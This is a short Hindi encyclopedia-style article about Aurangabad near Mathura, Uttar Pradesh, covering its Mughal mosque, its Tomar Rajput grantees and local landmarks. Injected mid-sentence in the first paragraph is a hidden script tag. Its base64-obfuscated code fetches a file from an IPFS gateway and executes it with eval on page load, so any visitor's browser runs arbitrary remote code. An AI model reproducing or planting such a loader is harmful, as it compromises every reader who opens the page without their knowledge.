औरंगाबाद मथुरा

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Disamb2.jpg औरंगाबाद एक बहुविकल्पी शब्द है अन्य अर्थों के लिए देखें:- औरंगाबाद (बहुविकल्पी)

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औरंगाबाद मथुरा, उत्तर प्रदेश में मथुरा-आगरा मार्ग पर दक्षिण में 2 मील (लगभग 3.2 कि.मी.)<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> की दूरी पर स्थित है। इसी स्थान पर मुग़ल बादशाह औरंगज़ेब के शासन काल में निर्मित लाल पत्थर की ऊँची मस्जिद भी है। औरंगाबाद को बादशाह औरंगज़ेब ने 'भीमभोज' नामक एक तोमर राजपूत को जागीर के रूप में दे दिया था।

  • तोमर सरदार भीमभोज के वंशजों का दीर्घकाल तक औरंगाबाद पर अधिकार रहा था।
  • दौलतराव सिंधिया ने 'बोतलशाह' नामक एक फ़कीर को यह शुल्क-मुक्ति पर दान में दिया था।
  • औरंगजेब के शासन में ही इसका नाम औरंगाबाद पड़ा।
  • एफ. एस. ग्राउस ने यहाँ पर पत्थर का एक नक़्क़ाशीदार भव्य भवन बनवाया था, जिसमें प्राथमिक पाठशाला चलती थी।
  • औरंगाबाद भारत के सुप्रसिद्ध स्वतन्त्रता सेनानी श्री हरचरन लाल जी की जन्मभूमि है।
  • हरचरन लाल जी ने यहाँ पर एक भव्य 'केलादेवी का मन्दिर' निर्मित करवाया था।


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